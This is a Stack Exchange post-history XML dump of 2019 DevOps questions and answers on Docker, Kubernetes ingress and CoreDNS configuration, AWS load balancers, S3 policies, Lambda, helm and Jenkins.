  <row Id="20675" PostHistoryTypeId="2" PostId="6498" RevisionGUID="c9d8ee26-bd83-4753-81c0-f32fcf7caf91" CreationDate="2019-02-28T14:27:21.647" UserId="12543" Text="`docker build` _does_ output the image ID:&#xD;&#xA;&#xD;&#xA;	Successfully built 6fd2b9d56348&#xD;&#xA;	Successfully tagged foo:latest&#xD;&#xA;&#xD;&#xA;Unfortunately, it doesn't seem like the [Docker Build Step plugin](https://github.com/jenkinsci/docker-build-step-plugin) exposes it to the pipeline (it _does_ write it to the log!). You may want to open an issue with that project.&#xD;&#xA;&#xD;&#xA;That said, `docker tag` itself accepts `name:tag`:&#xD;&#xA;&#xD;&#xA;	$ docker help tag&#xD;&#xA;	Usage:	docker tag SOURCE_IMAGE[:TAG] TARGET_IMAGE[:TAG]&#xD;&#xA;&#xD;&#xA;Since you (can) choose image name and first tag for `docker build`, try using those to identify the built image instead of its ID. If that doesn't work with the plugin, you may need a feature request after all.&#xD;&#xA;&#xD;&#xA;As a workaround, you can always use `sh script: 'docker ...'` directly.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20676" PostHistoryTypeId="2" PostId="6499" RevisionGUID="9b121865-e603-4b31-b0af-f55c80ce54a7" CreationDate="2019-02-28T14:55:59.657" UserId="12667" Text="I'm wondering whether to use an Ingress or LoadBalancer to expose services on Azure AKS.&#xD;&#xA;&#xD;&#xA;I have successfully used both, but I cannot really choose. On one side, an Ingress allows us to have a single public IP address, but on the other end it factorizes all the routes inside one Ingress so deployment means impacting all the routes.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Would you recommend:&#xD;&#xA;&#xD;&#xA; - a common Ingress for all applications&#xD;&#xA; - an Ingress for each application;&#xD;&#xA; - a LoadBalancer for each service ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20677" PostHistoryTypeId="1" PostId="6499" RevisionGUID="9b121865-e603-4b31-b0af-f55c80ce54a7" CreationDate="2019-02-28T14:55:59.657" UserId="12667" Text="Ingress or LoadBalancer on AKS" ContentLicense="CC BY-SA 4.0" />
  <row Id="20678" PostHistoryTypeId="3" PostId="6499" RevisionGUID="9b121865-e603-4b31-b0af-f55c80ce54a7" CreationDate="2019-02-28T14:55:59.657" UserId="12667" Text="&lt;kubernetes&gt;&lt;azure&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20680" PostHistoryTypeId="50" PostId="6144" RevisionGUID="7e8fdacd-f957-4e62-8ef3-049495556229" CreationDate="2019-02-28T18:01:50.347" UserId="-1" />
  <row Id="20681" PostHistoryTypeId="2" PostId="6501" RevisionGUID="5badd446-fca4-452e-8697-78fce4b3c252" CreationDate="2019-02-28T20:16:12.667" UserId="12677" Text="I have a problem I am trying to solve. When the auto scaling creates a new EC2 instance, the load balancer gets a positive health check result fairly quickly. However, the problem is that we have a custom application that runs when an instance starts and we do not want the instance attached to the load balancer until it has completed. So I need to find a way to make the load balancer wait until our custom application is finished running.  What is the best way to accomplish this?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20682" PostHistoryTypeId="1" PostId="6501" RevisionGUID="5badd446-fca4-452e-8697-78fce4b3c252" CreationDate="2019-02-28T20:16:12.667" UserId="12677" Text="How to make Load balancer to wait for custom program to finish running?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20683" PostHistoryTypeId="3" PostId="6501" RevisionGUID="5badd446-fca4-452e-8697-78fce4b3c252" CreationDate="2019-02-28T20:16:12.667" UserId="12677" Text="&lt;amazon-ec2&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20684" PostHistoryTypeId="5" PostId="6419" RevisionGUID="45d8ea2d-cf42-44d6-b2b3-9b654c1ebcd5" CreationDate="2019-02-28T20:57:31.287" UserId="12507" Comment="Added the new hosted agent" Text="EDIT&#xD;&#xA;----------&#xD;&#xA;Microsoft added a new hosted agent: `Hosted Windows 2019 with VS 2019`.&#xD;&#xA;&#xD;&#xA;So you should use this image to build for `windows-1809` or `windows-2019`&#xD;&#xA;&#xD;&#xA;Source : https://docs.microsoft.com/en-us/azure/devops/pipelines/agents/hosted?view=azure-devops&amp;tabs=yaml#use-a-microsoft-hosted-agent&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;#Old answer:&#xD;&#xA;&#xD;&#xA;FWIW, I ended up creating a windows server 2019 vm on azure to act as a build agent.&#xD;&#xA;&#xD;&#xA;Could not manage to build 2019 image in any of the hosted agent pools.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20685" PostHistoryTypeId="2" PostId="6502" RevisionGUID="2e1ba85c-5603-4a36-b786-00ef9c5f44d2" CreationDate="2019-02-28T22:59:59.407" UserId="12330" Text="Use the health check capabilities to ensure that your instance is not in service before your custom program is ready.&#xD;&#xA;&#xD;&#xA;If you have a classic ELB, you can point to an specific enpoint, for example, /health_check.php that performs the necessary checks in your application to ensure that your custom program is ready. Then, when a new instance is attached to the load balancer, it will perform the health check action that you have configured an expects a right behaviour of it. If not, the health check fails and will continue to perform new health checks in the configured intervals until instance become in service.&#xD;&#xA;&#xD;&#xA;On best practice for web servers behind a load balancer, for example, is to add an specific endpoint that checks that all the necessary pieces for your application is running and in service, that is database, storage, caching processes or whatever you new or consider critical for your system.&#xD;&#xA;&#xD;&#xA;The [official AWS documentation][1] is very useful for this.&#xD;&#xA;&#xD;&#xA;Hope this helps&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/elasticloadbalancing/latest/classic/elb-healthchecks.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="20687" PostHistoryTypeId="50" PostId="6096" RevisionGUID="914c4f69-2732-4070-82f6-18e27ab66525" CreationDate="2019-03-01T08:00:33.383" UserId="-1" />
  <row Id="20688" PostHistoryTypeId="50" PostId="6122" RevisionGUID="72aa325a-718c-4ee5-b94e-f30f84873331" CreationDate="2019-03-01T09:01:50.320" UserId="-1" />
  <row Id="20691" PostHistoryTypeId="2" PostId="6504" RevisionGUID="c7bdff74-e952-4e1f-aeb9-c3e320d7b5cc" CreationDate="2019-03-01T11:05:01.950" UserId="12689" Text="What is the difference between Container Engine Software and Container Management Software ?. Docker/kubernetes are managements softwares whereas Apache Mesos/Rocket are Container Engine softwares. Please explain." ContentLicense="CC BY-SA 4.0" />
  <row Id="20692" PostHistoryTypeId="1" PostId="6504" RevisionGUID="c7bdff74-e952-4e1f-aeb9-c3e320d7b5cc" CreationDate="2019-03-01T11:05:01.950" UserId="12689" Text="What is the difference between Container Engine Software and Container Management Software" ContentLicense="CC BY-SA 4.0" />
  <row Id="20693" PostHistoryTypeId="3" PostId="6504" RevisionGUID="c7bdff74-e952-4e1f-aeb9-c3e320d7b5cc" CreationDate="2019-03-01T11:05:01.950" UserId="12689" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20694" PostHistoryTypeId="2" PostId="6505" RevisionGUID="99684736-0f4d-4dd5-9943-5199ea7830a0" CreationDate="2019-03-01T15:06:03.273" UserId="6806" Text="I think your question is not completely correct. Docker is a containerization software whereas Kubernetes and Mesos are container management softwares.&#xA;While Kubernetes is a software for cluster management of containers(not necessarily for docker) and microservices, Apache Mesos is an orchestration technology for cluster management softwares like Kubernetes. &#xA;&#xA;All these three types of technology are aligned to work together.&#xA;&#xA;In layman terms, you (can) run Docker within Kubernetes which you (can) run within Mesos.&#xA;&#xA;Please have a read [here][1] for more explaination.&#xA;&#xA;&#xA;  [1]: https://mesosphere.com/blog/the-docker-vs-kubernetes-vs-apache-mesos-myth/" ContentLicense="CC BY-SA 4.0" />
  <row Id="20695" PostHistoryTypeId="2" PostId="6506" RevisionGUID="75662a31-5dd1-4e63-9651-bfb139ded7a4" CreationDate="2019-03-01T16:04:15.567" UserId="8858" Text="use the condition&#xD;&#xA;&#xD;&#xA;    - when: variable is defined&#xD;&#xA;      run_module_when_defined:&#xD;&#xA;&#xD;&#xA;or &#xD;&#xA;&#xD;&#xA;    - name:&#xD;&#xA;      block:&#xD;&#xA;        - task1&#xD;&#xA;        - task2&#xD;&#xA;      when: variable is defined" ContentLicense="CC BY-SA 4.0" />
  <row Id="20700" PostHistoryTypeId="50" PostId="6108" RevisionGUID="12081d4d-7dc0-4600-933b-acf5de82b2ac" CreationDate="2019-03-01T17:01:30.227" UserId="-1" />
  <row Id="20704" PostHistoryTypeId="5" PostId="6505" RevisionGUID="440fb700-f366-4120-b26d-c30b327fcd1f" CreationDate="2019-03-01T18:50:03.767" UserId="6806" Comment="deleted 7 characters in body" Text="I see a lot of confusion in the question. Docker is a containerization software whereas Kubernetes and Mesos are container management softwares.&#xA;While Kubernetes is a software for cluster management of containers(not necessarily for docker) and microservices, Apache Mesos is an orchestration technology for cluster management softwares like Kubernetes. &#xA;&#xA;All these three types of technology are aligned to work together.&#xA;&#xA;In layman terms, you (can) run Docker within Kubernetes which you (can) run within Mesos.&#xA;&#xA;Please have a read [here][1] for more explaination.&#xA;&#xA;&#xA;  [1]: https://mesosphere.com/blog/the-docker-vs-kubernetes-vs-apache-mesos-myth/" ContentLicense="CC BY-SA 4.0" />
  <row Id="20705" PostHistoryTypeId="2" PostId="6509" RevisionGUID="3d08acf8-aa0f-44ac-a653-f162f816bc17" CreationDate="2019-03-01T20:05:05.007" UserId="11568" Text="I generally use an Ingress for each application. This allows for any updates to it to be specified as a separate deployable unit. If there is a need for separate public IPs, you can have multiple ingress controllers for different namespaces/environments." ContentLicense="CC BY-SA 4.0" />
  <row Id="20707" PostHistoryTypeId="2" PostId="6510" RevisionGUID="12f00720-ef6c-4a5b-841e-0417637821c3" CreationDate="2019-03-01T22:57:37.943" UserId="7770" Text="Is it necessary to specify a **resource** attribute within the statements that make up an S3 bucket policy? The [Access Policy Language Overview](https://docs.aws.amazon.com/AmazonS3/latest/dev/access-policy-language-overview.html) seems to suggest that the resource attribute is always included, though it doesn't come straight out and say it's _required_. Consider this example policy shown on the language overview page.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;{&#xD;&#xA;  &quot;Version&quot;: &quot;2012-10-17&quot;,&#xD;&#xA;  &quot;Id&quot;: &quot;ExamplePolicy01&quot;,&#xD;&#xA;  &quot;Statement&quot;: [&#xD;&#xA;    {&#xD;&#xA;      &quot;Sid&quot;: &quot;ExampleStatement01&quot;,&#xD;&#xA;      &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;      &quot;Principal&quot;: {&#xD;&#xA;        &quot;AWS&quot;: &quot;arn:aws:iam::Account-ID:user/Dave&quot;&#xD;&#xA;      },&#xD;&#xA;      &quot;Action&quot;: [&#xD;&#xA;        &quot;s3:GetObject&quot;,&#xD;&#xA;        &quot;s3:GetBucketLocation&quot;,&#xD;&#xA;        &quot;s3:ListBucket&quot;&#xD;&#xA;      ],&#xD;&#xA;      &quot;Resource&quot;: [&#xD;&#xA;        &quot;arn:aws:s3:::examplebucket/*&quot;,&#xD;&#xA;        &quot;arn:aws:s3:::examplebucket&quot;&#xD;&#xA;      ]&#xD;&#xA;    }&#xD;&#xA;  ]&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;A bucket policy is assigned to an S3 bucket, so it seems like the policy would always be evaluated in the context of the bucket that it's assigned to. Based on that, it seems like it should be possible to omit the **resource** attribute.&#xD;&#xA;&#xD;&#xA;If the resource attribute really is required, is it possible to use a wildcard arn like this? Would that carry any risks, or would it simply allow access to the bucket exactly as if the bucket was named in the policy?&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;      &quot;Resource&quot;: [&#xD;&#xA;        &quot;arn:aws:s3:::*&quot;,&#xD;&#xA;        &quot;arn:aws:s3:::*/*&quot;&#xD;&#xA;      ]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;_(For greater clarity, I am NOT talking about IAM policies in this question.)_" ContentLicense="CC BY-SA 4.0" />
  <row Id="20708" PostHistoryTypeId="1" PostId="6510" RevisionGUID="12f00720-ef6c-4a5b-841e-0417637821c3" CreationDate="2019-03-01T22:57:37.943" UserId="7770" Text="Is it necessary to specify resource in S3 Bucket Policies?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20709" PostHistoryTypeId="3" PostId="6510" RevisionGUID="12f00720-ef6c-4a5b-841e-0417637821c3" CreationDate="2019-03-01T22:57:37.943" UserId="7770" Text="&lt;amazon-web-services&gt;&lt;amazon-s3&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20712" PostHistoryTypeId="2" PostId="6511" RevisionGUID="7f12a0ed-57c1-40ec-ba05-e4f73a08e677" CreationDate="2019-03-02T00:43:53.903" UserId="7770" Text="There doesn't seem to be any way to define a policy about which S3 buckets Lambda is allowed to run code from.&#xD;&#xA;&#xD;&#xA;With most services in AWS, the usual practice is to define an IAM role that can be assumed by the AWS service so that it can perform work on user-created resources in the account. For instance, Kinesis Firehose isn't allowed to write into one of your S3 buckets until it's explicitly granted permission with an IAM role.&#xD;&#xA;&#xD;&#xA;Even with Lambda we have the concept of an execution role, that is the IAM role that can be used by custom code in our Lambda. But that still takes place *after* the code has been loaded." ContentLicense="CC BY-SA 4.0" />
  <row Id="20713" PostHistoryTypeId="1" PostId="6511" RevisionGUID="7f12a0ed-57c1-40ec-ba05-e4f73a08e677" CreationDate="2019-03-02T00:43:53.903" UserId="7770" Text="Which S3 buckets is Lambda allowed to read code from?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20714" PostHistoryTypeId="3" PostId="6511" RevisionGUID="7f12a0ed-57c1-40ec-ba05-e4f73a08e677" CreationDate="2019-03-02T00:43:53.903" UserId="7770" Text="&lt;amazon-web-services&gt;&lt;aws-lambda&gt;&lt;aws-iam&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20715" PostHistoryTypeId="2" PostId="6512" RevisionGUID="5ec55e2a-14e1-4c40-91a5-10ee43c6499c" CreationDate="2019-03-02T00:43:53.903" UserId="7770" Text="This represents a misunderstanding of when Lambda code is loaded.&#xD;&#xA;&#xD;&#xA;AWS Lambda does **not** download a copy of the code from S3 every time a function is executed. Instead, Lambda has its own internal storage that is updated when invoking `CreateFunction` or `UpdateFunctionCode` either through the API or the Console." ContentLicense="CC BY-SA 4.0" />
  <row Id="20720" PostHistoryTypeId="2" PostId="6514" RevisionGUID="715135ce-290a-4d0c-84d6-e91276c9d611" CreationDate="2019-03-02T08:33:41.023" UserId="12701" Text="To build up my portfolio I'm writing an application to showcase all the best practices I'm aware of, including unit tests and continuous integration.&#xD;&#xA;&#xD;&#xA;The project was originally started in C++, and I took advantage of buddy.works to compile it and run my tests there. Managing `CMakeLists` was a pain but I endured for the greater good.&#xD;&#xA;&#xD;&#xA;After a while I noticed that Qt would have been a better fit for my purposes. Being this a non-commercial open source project I'm allowed to use Qt Creator for free. However, buddy.works (and almost all other free CI tools) only allow bare `GCC` build environments. In my case I'd need a fully configured Qt environment, as when I install the IDE, plus Android SDK and NDK.&#xD;&#xA;&#xD;&#xA;I see buddy.works allows to run commands in a &quot;private container&quot;, but I'm not sure if building a container myself (something I'd start looking into if I knew this would work).&#xD;&#xA;&#xD;&#xA;I guess the safest choice would be to rent an Amazon EC2 instance, install on that everything I need (Qt, SDKs, Jenkins) and configure it to communicate with my GitHub or Bitbucket, but it would cost me (and I can't say how much exactly). I expect the CI process to only run like thrice per week, with an average build time that at most would take half an hour. I also liked the idea of the green build badge in the readme file, something buddy.works offered and with an EC2 instance shutting down could be trickier to achieve (if I was to purchase an instance that boots every day, runs CI and shuts down). However, a free alternative would be much appreciated.&#xD;&#xA;&#xD;&#xA;Any hint about this? Thank you very much." ContentLicense="CC BY-SA 4.0" />
  <row Id="20721" PostHistoryTypeId="1" PostId="6514" RevisionGUID="715135ce-290a-4d0c-84d6-e91276c9d611" CreationDate="2019-03-02T08:33:41.023" UserId="12701" Text="What is the cheapest way to get CI for a Qt project?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20722" PostHistoryTypeId="3" PostId="6514" RevisionGUID="715135ce-290a-4d0c-84d6-e91276c9d611" CreationDate="2019-03-02T08:33:41.023" UserId="12701" Text="&lt;continuous-integration&gt;&lt;containers&gt;&lt;amazon-ec2&gt;&lt;software-engineering&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20726" PostHistoryTypeId="2" PostId="6516" RevisionGUID="2fb92a0f-07c3-4e9f-b207-2072eeecf479" CreationDate="2019-03-02T15:15:34.847" UserId="786" Text="By a &quot;local volume&quot; I assume you mean a block device directly attached to the host, such as a &quot;normal&quot; internal disk. &#xD;&#xA;&#xD;&#xA;The standard way to run multiple Docker, containers now is Kubernetes, since the demise of Docker Swarm. My reference here is the Kubernetes [documentation for Persistent Volumes](https://kubernetes.io/docs/concepts/storage/persistent-volumes/#persistent-volumes) specifically the table on Access Modes, and the column for _ReadWriteMany_. A local volume would be a _HostPath_ which is _not_ supported for this use case. However if you were using iSCSI it would support _ReadOnlyMany_, and if you used NFS you could get _ReadWriteMany_. " ContentLicense="CC BY-SA 4.0" />
  <row Id="20727" PostHistoryTypeId="50" PostId="6174" RevisionGUID="49aa8877-deb3-41b2-9fdb-5090847a0096" CreationDate="2019-03-02T17:02:50.630" UserId="-1" />
  <row Id="20728" PostHistoryTypeId="2" PostId="6517" RevisionGUID="bfe6aaf4-f363-4345-bc3d-28837475f3f2" CreationDate="2019-03-02T17:36:34.967" UserId="47" Text="One of the major advantage of the container technology is standardisation: easily replicating the same environment wherever a specific container is used, be it, for example, on your own machine during development or on the CI machine during the execution of the CI/CD pipeline.&#xD;&#xA;&#xD;&#xA;Building and using custom containers is a pretty standard way of including OS-level dependencies (like libraries and toolsets, for example) which aren't included in a service provider's default container images. Depending on the provider the choices for the base image you'd use *might* be limited.&#xD;&#xA;&#xD;&#xA;If you have a CI/CD provider which accepts custom-built containers (not all of them do, at least not yet) and you can meet their custom container restrictions (if any) then building the custom container for your case is IMHO a valuable investment. Not only for the CI execution, but even for developing of your app and ultimately for showcasing the container technology as a development technology itself :)&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20729" PostHistoryTypeId="50" PostId="5748" RevisionGUID="2bc5b9a8-940b-41a3-b8ba-ece7f7d191b8" CreationDate="2019-03-02T19:01:30.283" UserId="-1" />
  <row Id="20730" PostHistoryTypeId="50" PostId="6146" RevisionGUID="94e04ae9-c757-4910-9501-6b7326d00b99" CreationDate="2019-03-02T20:00:50.237" UserId="-1" />
  <row Id="20731" PostHistoryTypeId="2" PostId="6518" RevisionGUID="1a8bdc0a-3e81-4cc5-9bd0-1c514cf1d354" CreationDate="2019-03-02T23:46:16.373" UserId="10599" Text="&#xA;Yes this happens frequently when debugging helm releases. The problem happens when a previously failed release is preventing you from updating it. &#xA;&#xA;If you run `helm ls` you should see a release in state `FAILED`. Such a release cannot be upgraded using the normal approach of having helm compare the new yaml to the old yaml to detect what objects to change as there are no deployed objects to compare in a failed release.&#xA;&#xA;As this normally happens when trying to get something new running I typically `helm delete —purge` the failed release. That is slightly drastic though so you may want to try to do the upgrade adding `—force` https://github.com/helm/helm/pull/2280&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20732" PostHistoryTypeId="50" PostId="3932" RevisionGUID="3b61de42-c6ee-4167-a929-b879499f89cd" CreationDate="2019-03-03T00:01:45.347" UserId="-1" />
  <row Id="20733" PostHistoryTypeId="2" PostId="6519" RevisionGUID="c9951911-ec96-412f-8bd1-1979260e3117" CreationDate="2019-03-03T01:12:20.587" UserId="6923" Text="I have a dns server running at 192.168.0.19 for custom domains like .fritz.box. Having a single node cluster on k3s, Rancher was installed using a subdomain server2.fritz.box using this command: &#xD;&#xA;&#xD;&#xA;        helm install rancher-latest/rancher \&#xD;&#xA;          --name rancher \&#xD;&#xA;          --namespace cattle-system \&#xD;&#xA;          --set hostname=server2.fritz.box&#xD;&#xA;&#xD;&#xA;Rancher itself shows that some services are not avaliable and the logs from cattle say server2.fritz.box is not avaliable. Since Kubernetes has its own dns system, I looked [at the documentation](https://kubernetes.io/docs/tasks/administer-cluster/dns-custom-nameservers/) and it seems that I need to set my .19 dns server so that Kubernetes knows how to resolve .fritz.box domains. Some questions also have similar problems like https://stackoverflow.com/questions/41448095/kube-dns-does-not-resolve-external-hosts-on-kubeadm-bare-metal-cluster&#xD;&#xA;&#xD;&#xA;So I created the following yaml:&#xD;&#xA;&#xD;&#xA;    # https://github.com/kubernetes/kops/issues/4986&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: ConfigMap&#xD;&#xA;    metadata:&#xD;&#xA;      name: kube-dns&#xD;&#xA;      namespace: kube-system&#xD;&#xA;    data:&#xD;&#xA;      stubDomains: |&#xD;&#xA;        {&quot;fritz.box&quot;: [&quot;192.168.0.19&quot;]}&#xD;&#xA;      upstreamNameservers: |&#xD;&#xA;        [&quot;192.168.0.19&quot;]&#xD;&#xA;&#xD;&#xA;Loaded with `kubectl apply -f dns.yml`. Now created a busybox test pod:&#xD;&#xA;&#xD;&#xA;    ~$ kubectl exec -it busybox -- ping server2.fritz.box&#xD;&#xA;    ping: bad address 'server2.fritz.box'&#xD;&#xA;&#xD;&#xA;Why is this not working? &#xD;&#xA;And what must be done to resolve a custom dns server in Kubernetes?" ContentLicense="CC BY-SA 4.0" />
  <row Id="20734" PostHistoryTypeId="1" PostId="6519" RevisionGUID="c9951911-ec96-412f-8bd1-1979260e3117" CreationDate="2019-03-03T01:12:20.587" UserId="6923" Text="Kubernetes on k3s can't resolve domains from custom dns server (fritz.box with dnsmasq)" ContentLicense="CC BY-SA 4.0" />
  <row Id="20735" PostHistoryTypeId="3" PostId="6519" RevisionGUID="c9951911-ec96-412f-8bd1-1979260e3117" CreationDate="2019-03-03T01:12:20.587" UserId="6923" Text="&lt;kubernetes&gt;&lt;configuration-management&gt;&lt;helm&gt;&lt;dns&gt;&lt;rancher&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20737" PostHistoryTypeId="2" PostId="6520" RevisionGUID="7c59a3fc-5d64-4243-9dfc-f5d9d2b1f453" CreationDate="2019-03-03T07:27:51.813" UserId="12708" Text="I believe this is an current bug in k3s that upstream DNS is hardcoded to 1.1.1.1.  this should be resolved shortly https://github.com/rancher/k3s/issues/53" ContentLicense="CC BY-SA 4.0" />
  <row Id="20738" PostHistoryTypeId="50" PostId="6163" RevisionGUID="b0582d44-cce7-4c85-991c-03d1c314de9d" CreationDate="2019-03-03T09:01:25.250" UserId="-1" />
  <row Id="20739" PostHistoryTypeId="2" PostId="6521" RevisionGUID="22626180-e398-4407-9492-39f9392ceded" CreationDate="2019-03-03T10:26:59.300" UserId="6923" Text="[ibuildthecloud9](https://devops.stackexchange.com/users/12708/ibuildthecloud) gave me the right hint. Since the github issue doesn't describe how to midify the dns, I figured it out and want to document it here in case someone need to change it, too. It's stored in the configmap `coredns` as `Corefile`:&#xD;&#xA;&#xD;&#xA;    proxy . 1.1.1.1&#xD;&#xA;&#xD;&#xA;You need to replace this by your dns server (192.168.0.19 in my case). It could be done manually using `kubectl edit cm -n kube-system coredns`. In case you also want to automate this process: &#xD;&#xA;&#xD;&#xA;    kubectl get cm -n kube-system coredns -o yaml | sed &quot;s/proxy . 1.1.1.1/proxy . 192.168.0.19/g&quot; &gt; coredns-fixed.yml&#xD;&#xA;&#xD;&#xA;Now you'll have the fixed yaml file, which got loaded by &#xD;&#xA;&#xD;&#xA;    kubectl apply -f coredns-fixed.yml&#xD;&#xA;&#xD;&#xA;## Test it&#xD;&#xA;Create `busybox.yml`&#xD;&#xA;&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: Pod&#xD;&#xA;    metadata:&#xD;&#xA;        name: busybox&#xD;&#xA;    spec:&#xD;&#xA;        containers:&#xD;&#xA;        # for arm&#xD;&#xA;        #- image: hypriot/armhf-busybox&#xD;&#xA;        - image: busybox&#xD;&#xA;          command:&#xD;&#xA;              - sleep&#xD;&#xA;              - &quot;3600&quot;&#xD;&#xA;          imagePullPolicy: IfNotPresent&#xD;&#xA;          name: busybox&#xD;&#xA;        restartPolicy: Always&#xD;&#xA;&#xD;&#xA;Create the pod: `kubectl create -f busybox.yml`&#xD;&#xA;And try to ping a host resolved by your dns: &#xD;&#xA;&#xD;&#xA;    ~$ kubectl exec -it busybox -- ping -c1 server2.fritz.box&#xD;&#xA;    PING server2.fritz.box (192.168.0.37): 56 data bytes&#xD;&#xA;    64 bytes from 192.168.0.37: seq=0 ttl=61 time=0.386 ms&#xD;&#xA;&#xD;&#xA;**Before** applying our dns (so 1.1.1.1 was used, which belongs to Cloudflare) this throws the following resolving error: &#xD;&#xA;&#xD;&#xA;    *~$ kubectl exec -it busybox -- ping -c1 server2.fritz.box&#xD;&#xA;    ping: bad address 'server2.fritz.box'*" ContentLicense="CC BY-SA 4.0" />
  <row Id="20740" PostHistoryTypeId="2" PostId="6522" RevisionGUID="00480e1e-fa3e-4bcc-8d08-8490130de2ed" CreationDate="2019-03-03T10:29:46.730" UserId="12225" Text="just create an ingress resource along side each application, that way you can modify individual ingress resources without impacting other applications. Load balancers do not allow you to do anything meaningful with your traffic.&#xD;&#xA;&#xD;&#xA;With ingress you can use cert-manager, external-dns, ssl offloading, etc." ContentLicense="CC BY-SA 4.0" />
  <row Id="20747" PostHistoryTypeId="5" PostId="6156" RevisionGUID="1b89a855-2a32-485b-9927-8f4436f82fb8" CreationDate="2019-03-04T00:07:31.837" UserId="10599" Comment="added 2 characters in body" Text="Okay the answer to this is that you can set `spec.serviceAccountName` on the `dc` and the secrets are mounted.&#xA;&#xA;Annoyingly the same does not hold true for BuildConfig objects. They have an inconsistently names `spec.serviceAccount`. Setting that doesn’t mount any secrets associated with the `sa`. It also means your build isn’t an “image puller” into you explicitly set that up. So this configuration option appears pretty useless as at openshift 3.11.&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20748" PostHistoryTypeId="2" PostId="6525" RevisionGUID="87e9fb96-963d-4a3e-a7c3-17ad46310c92" CreationDate="2019-03-04T08:48:06.447" UserId="12720" Text="**Jenkins is better [Because][1]**  &#xD;&#xA;&#xD;&#xA; - most users moving on to Jenkins, as well as other adoption metrics indicating clear shift in the userbase.&#xD;&#xA; - the Hudson team has moved to develop Jenkins. So you can trust our expertise and the the passion to keep pushing the software forward.&#xD;&#xA; - a large number of plugin authors have chosen to support their plugins on Jenkins. So you can expect bug fixes and new improvements to them from Jenkins.&#xD;&#xA; - we'll make incremental iterative improvements to the code.&#xD;&#xA; - the community supports us.&#xD;&#xA; - well maintained documents. (Credits: [Martin Lee][2])&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;**Few more noticeable points are (from [StackOverflow][3])** &#xD;&#xA;&#xD;&#xA; -  Hudson/Jenkins is the product of a single genius intellect - [Kohsuke Kawaguchi][4]. Because of that, it's consistent, coherent, and rock solid. (By [Jonik][5]) &#xD;&#xA; - Oracle now owns hudson and Jenkins is open-source. Both are MIT Licensed. Describing one as open-source and the other as other-than-open-source is misleading. They're free software (By [pb2q][6])&#xD;&#xA; - Hudson/Jenkins is all about the plugins. Plugin developers have moved to Jenkins and so should we, the users. (By [Tim Fulmer][7])&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/pages/viewpage.action?pageId=53608972&#xD;&#xA;  [2]: https://devops.stackexchange.com/users/8/martin-lee&#xD;&#xA;  [3]: https://stackoverflow.com/questions/4973981/how-to-choose-between-hudson-and-jenkins&#xD;&#xA;  [4]: http://kohsuke.org/&#xD;&#xA;  [5]: https://stackoverflow.com/users/56285/jonik&#xD;&#xA;  [6]: https://stackoverflow.com/users/275567/pb2q&#xD;&#xA;  [7]: https://stackoverflow.com/users/752693/tim-fulmer" ContentLicense="CC BY-SA 4.0" />
  <row Id="20749" PostHistoryTypeId="5" PostId="1" RevisionGUID="5e9925e9-74ba-4f27-924a-fe0c719d0d90" CreationDate="2019-03-04T11:20:51.983" UserId="12720" Comment="Added links for Jenkins and Hudson. Improved readability index." Text="[Jenkins][1] is a fork of [Hudson][2].&#xD;&#xA;&#xD;&#xA;What are the benefits/advantages of using Jenkins over Hudson for a small private business?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://jenkins.io/&#xD;&#xA;  [2]: http://hudson-ci.org/" ContentLicense="CC BY-SA 4.0" />
  <row Id="20750" PostHistoryTypeId="24" PostId="1" RevisionGUID="5e9925e9-74ba-4f27-924a-fe0c719d0d90" CreationDate="2019-03-04T11:20:51.983" Comment="Proposed by 12720 approved by 40 edit id of 949" ContentLicense="CC BY-SA 4.0" />
  <row Id="20751" PostHistoryTypeId="2" PostId="6526" RevisionGUID="1f3024b4-14a4-4f64-9c24-7cf7fda77df7" CreationDate="2019-03-04T11:49:24.583" UserId="9222" Text="I install Jenkins X on kubernetes. I want to change the default installation and secure the Jenkins url, so it will be not accessible from the public. &#xD;&#xA;&#xD;&#xA;Can i change it to some port, or some way to have a firewall for only few IPs allow to access the Jenkins URL.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="20752" PostHistoryTypeId="1" PostId="6526" RevisionGUID="1f3024b4-14a4-4f64-9c24-7cf7fda77df7" CreationDate="2019-03-04T11:49:24.583" UserId="9222" Text="Secure Jenkins X on kubernetes" ContentLicense="CC BY-SA 4.0" />
  <row Id="20753" PostHistoryTypeId="3" PostId="6526" RevisionGUID="1f3024b4-14a4-4f64-9c24-7cf7fda77df7" CreationDate="2019-03-04T11:49:24.583" UserId="9222" Text="&lt;jenkins&gt;&lt;kubernetes&gt;&lt;jenkins-x&gt;" ContentLicense="CC BY-SA 4.0" />
